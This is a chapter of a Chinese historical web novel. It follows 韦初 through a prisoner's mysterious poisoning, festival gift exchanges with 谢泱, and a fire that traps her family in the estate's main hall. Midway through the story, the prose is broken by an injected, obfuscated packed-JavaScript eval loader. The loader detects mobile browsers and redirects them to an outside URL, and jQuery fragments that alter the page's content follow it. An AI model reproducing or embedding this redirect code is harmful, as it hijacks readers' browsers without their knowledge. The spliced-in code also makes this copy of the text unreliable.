3. 第三章

作品:《尝言

    闻此讯,四人愕然。


    他续道:“死于中毒。”


    谢泱眼神一凛:“何毒?入狱前仔细搜遍,他身上并无毒药。”


    “小人不知,来人只道牢中各物及茶水并无毒。”


    凭空中毒身亡,何其怪哉。


    韦初转头看向顾书锦,他面色困惑,甚至有些许茫然。


    收回视线,她将今日发生之事细细捋来,张年白日于街道发作服寒食散急性之症,差点儿成功勒杀张鸣;张年被郡兵带走入狱,张鸣也被他们带回庄园;抵达张宅为林夫人验尸,坐实张年杀妻罪名,加当街勒袭亲女,双罪并罚本应按律处死的张年竟中毒身亡。


    整个事件串起来反推直指源头是寒食散?


    为张年提供药源的幕后之人发现大主顾被抓,恐遭牵连,再杀张鸣,张宅中或许有什么线索需斩断,阖家死尽便无人再查禁药之事,但未免像是有只无形的手将结果往这方面推。


    一日内发生太多事情,诡之又诡,令本就舟车劳顿的韦初顿感头疼。


    安顿好张鸣,再增添十位精兵护她周全,众人这才离开。韦初没能披星戴月而归,而是踩着日出之际回到自己房内,沉沉睡去。


    韦初醒时,窗外日光正盛,外头几名小侍女正叽叽喳喳地小声说话。不久她们散去,房门被轻轻推开,一阵轻缓的脚步声绕过屏风。


    “小娘子醒啦。”


    侍女面上一喜,快步上前。


    见她笑,韦初唇角也不自觉弯起,小侍女行了一礼,转身从旁端来铜盆。


    “阿汀方才在门外同他人道甚?”


    “可是打搅了小娘子歇息!”阿汀笑容骤敛,垂头一副内疚模样。


    “不干你的事勿自疚,我早已醒来。”韦初摇头,怕她钻牛角尖,靠近道,“快快道来,是何事惹得这般多人谈论。”


    阿汀见自家小娘子八卦的模样,弯唇笑起来,暗叹小娘子还小,藏不住好奇,遂缓缓道:“小娘子可记得这禹和郡有位禹和内史。”


    韦初点头,她自然记得,禹和内史谢沅,谢泱从兄,她幼时曾见过他。


    承和二十一年,叛臣举兵攻城,谢沅临危不惧,安全转移太后、皇帝等人,并在城内集中兵力设下陷阱,叛贼低估朝廷的备战能力,遭伏击大败。


    是岁,才及弱冠的谢沅大败叛贼加之护驾有功,拜左将军、禹和内史。至此,谢氏对昭朝粮廪形成了很大程度的控制。


    阿汀说起谢沅嘴角都快咧到耳根子:“谢内史弱冠显名,听闻还风神清朗。”


    说罢把韦初带到镜台坐下,为其梳妆,问:“小娘子稍后同夫人共往前院?”


    打了个哈欠,韦初看向铜镜。


    “对,带你一睹谢内史风采。”


    言罢,果见镜中阿汀双目霎时闪动亮光,连带手上动作也愈发轻快。


    -


    前院。


    耳边是母亲叮嘱,韦初放眼看去,满树青翠枝叶,其间盛绽赤红石榴花。


    热风拂过,枝叉缝隙间两名身量极高的人通过长廊,向主厅靠近。


    韦初认出前者,谢沅谢内史,慢其半步之人应当就是他的幕僚——仪空。


    观察之际,仪空忽地侧头,韦初定住了目光,此人轮廓鲜明,一双眼睛非狭长的凤目,眼尾微微上扬……


    一片墨绿突地挡全视线,片刻后撤开,韦初抬眼,入目是谢泱隽秀的眉眼。


    适才还未瞧清楚仪空相貌便被打断,她磨牙:“做甚!”


    谢泱先朝何璟行礼,而后低声道:“将汝离眶之双目助回。”


    韦初掀开他再看去,廊上哪还有人,影都没有,遂回头瞪去,然罪魁祸首肩倚树干粲然而笑,看得她拳头骤硬,扭头挽住母亲就走。


    这一晚无非就是为谢沅接风洗尘,顺带又分析目前所掌握的情况云云。


    膳毕,韦初以消食为由携阿汀在院中走动。未几,只听树叶簌簌,所等之人悄无声息地现身石榴树上。


    那人一跃而下。


    青红闪过,她眼前出现一簇石榴花,谢泱赔笑:“吾过矣,特来谢罪。”


    阿汀敛目,缓缓退开数步。


    韦初乜他一眼,抓过石榴花:“道正事。”


    谢泱收回手,眉间轻蹙:“同我们想得不差,父亲和世叔携我等到禹和郡,是因疟疾横发和海匪掠船二事乃是背后有人操作,暗桩密报贼人欲借此铲除异己,于是他们不得已出此下策。我等离开之际从兄便带领新药赶到,及时阻止疟疾蔓延邻郡。不日,父亲他们便动身返回岭州。”


    韦初垂眸,没想到谢内史是密往岭州救人,想必几位已经将接下来的事安排妥当。今日总算知晓父亲他们无旨擅离岭州的缘由。


    岭州不过偏远一州,还能令贼人这般散播疫病害人性命,他们是安全了,可父亲、世伯还有其他百姓要接着受人黑手。


    “父亲、世伯何时动身?”


    谢泱顿了顿,道:“端午过后。”


    韦初转动手中石榴花,垂眸,后日初五,是谢泱生辰,想必是谢世伯思虑后决定。


    -


    端午前夕,谢氏庄园门户悬挂艾草,阿汀更是从厨房提来一盒角黍和益智粽,将它们放于案面,笑道:“小娘子,厨房听吩咐特地做了两种口味。”


    韦初点头,停下手中动作,将已打造完成的物件放入木奁,刚合上,门外响起侍女的声音。


    阿汀退出,过了一会儿返回,双手呈上信件。


    “小娘子,是张女郎派人传信。”


    接过信,韦初将信纸从里拿出,展开细看。


    张鸣为感谢他们相助,特亲手做了角黍、系长命缕于明日亲自登门送上,请她务必接受。


    收好信,韦初不免想起张鸣淌血的手臂,佩服她带伤做工序繁复的角黍和五彩长命缕,着实有心了。


    昼夜更替,端午当日也是个晴天。


    这日,韦初被迫完成用以兰草、菖蒲等香草煮水沐浴这道祛秽防疫流程,遂赴见张鸣。


    重孝锢身,张鸣止步于角门,韦初只得与她隔门相赠长命缕,后望着她揖而遽退。


    韦初转过身,凝视掌中长命缕,彩线精致规矩,不同于她所编。


    脑中想着事儿,韦初走路连眼都没抬,行至拐角,就直直地撞上了人,双方力道都不小,她“嗷”一声抬头。


    对面同时也撤退几步,躬身致歉:“某唐突了。”


    韦初捂住唇角,仪空还保持垂首抱拳之姿,视线下移,见其曲领一角蹭上了层她的口脂,颇为醒目。


    这时阿汀反应过来,吓得小跑上前,把她浑身上下仔细检查多遍。


    “无碍,是我方才没注意。”被阿汀护着,她只好提高声量,“不怪仪空先生。”


    随即示意阿汀将多出的长命缕赠予他。


    阿汀大吃一惊,慌声道:“小娘子!”


    韦初摇头:“你且去。”


    阿汀只好照做,仪空双手接过长命缕,未曾抬头,道:“多谢。”


    等人离开视野,阿汀满面愁容,韦初指腹轻点她的脸颊,从布囊里掏出两块石蜜,塞一块到她手里,自己往嘴里扔了块:“先把此礼给各位长辈送去吧。”


    酉时末,天刚擦黑,韦初将张鸣的谢礼分送完毕。


    刚一脚踏出谢夫人院门,就见谢泱抱臂立身墙下,似乎等上许久,神色淡淡。


    观她半晌没下一步动作,他松开双手朝她走来。


    韦初忍着没笑,自袖口滑出木奁,在他面前晃了晃。


    谢泱微愣,迟钝地伸出双手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174638|196888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “打开看看。”


    谢泱轻开上盖,看清盒中之物眉梢一扬,取出在手中细观,夸道:“一物两用,别出心裁。”


    这是一银质发簪,簪体环绕云、叶刻纹,道其精妙之处在于巧摁侧边,启动内部短针,可解多毒,对急症也有缓解效用。


    此乃实用之物。


    谢泱抬手取下头上木质发簪,弯唇:“阿东帮我。”


    韦初眨眨眼,动手帮他把银簪横贯发髻中部,调整好簪身,她松开手。


    熏风自东南来,卷动他一缕发丝,他抬头,轻轻眨动眼睫,眸子漆黑发亮。


    韦初满意点点头,又将另一物交给他。


    “长命缕?”谢泱看着不止五色的丝线问。


    “不错,但这几条线不是丝线,而是草药。”


    谢泱凑近嗅了嗅,果然有淡淡的草药香。


    韦初道:“无意中发现这几味药草可抽丝浸色,且不影响长命缕的核心,配以香囊效果更甚。”


    谢泱听完想都没想,直接系在手腕。


    过了一会儿,两人突然齐望东边,他们耳力极佳,同时捕捉到轻微动静,对视一眼,纷纷往墙沿上跃。


    韦初一侧腿脚稍许吃力,挤在谢泱身旁。


    “此方位应是农耕区。”


    朦胧暮色中,能见沟渠、水塘等模糊轮廓。


    谢泱眯了眯眼:“此处佃客甚多,特别是流民……”


    想来是出了事儿。


    庄园内守卫森严,主宅更是层层防守,主厅韦青等人还在延续午时宴饮。


    二人交换一个眼神,皆笑起来,显然达成共识,遂朝东方掠去。


    途经角楼,他们被扣下细细盘问,谢泱拿出谢氏令牌,二人得以通行,代价是身后随同十名守卫。


    农耕区域此时内部不平,流民团体与自耕农团体吵做一团,此处守卫也无法立时镇压。


    五月初五为恶月恶日,南地民众有祭祀一习俗,香火不慎引着流民去岁余下的干燥香草,被他们视为不详,故双方起激烈争执。


    两方人数众多,场面一度失控,典计从各处调来人手才将场面控制,随后由部将亲自清点人口。


    韦初二人绕事发地行走,空气中还弥漫着干草燃烧后的烟味儿。


    谢泱煽动手掌,试图冲散异味:“天干物燥的,留这么多干草做甚?”


    韦初蹲下翻动未被燃尽的草渣,抬头道:“多数为药草。”


    她鼻翼翕动,暗自奇怪道:怎么烟味不减反而愈发浓烈?


    “轰——”


    赤焰骤现,顷刻间火光滔天。


    所有人望向那处,部将厉声大喝:“是主宅!所有人跟我走!”


    韦初噌地站起,不做一息停顿朝主宅疾掠而去。


    尖叫声、哭喊声以及撕心裂肺的救命声响彻谢氏庄园。


    韦初瞳孔被焰色染尽,烈焰包围主厅,不留一丝缝隙。


    四周守卫、仆从轮番泼水仍不起半点儿作用。饶是谢氏庄园的防火措施完备,灭火速度也不及火势之快。


    韦初嘴唇颤动,从地上捡起水桶,加入其中。


    不够,远远不够。


    烟浪灼得人浑身剧痛,韦初咬牙坚持,阿父、世伯他们、他们定能临危制变,安然无……


    “小娘子!”


    是阿汀的叫声,韦初转头。


    阿汀满面泪水,毫无预兆地跪在她面前,抬起头。


    “小娘子,主厅各处不知何时被人封死,火起时护卫使尽全力也无法破出开口,郎主和夫人还有谢刺史他们……他们全在里面!”


    韦初一阵耳鸣,手中木桶不知何时滚落脚边。


    她骇然回头,


    楠木柱梁耗尽最后一丝气力,终是承受不住炙烤,俄顷轰然倒塌。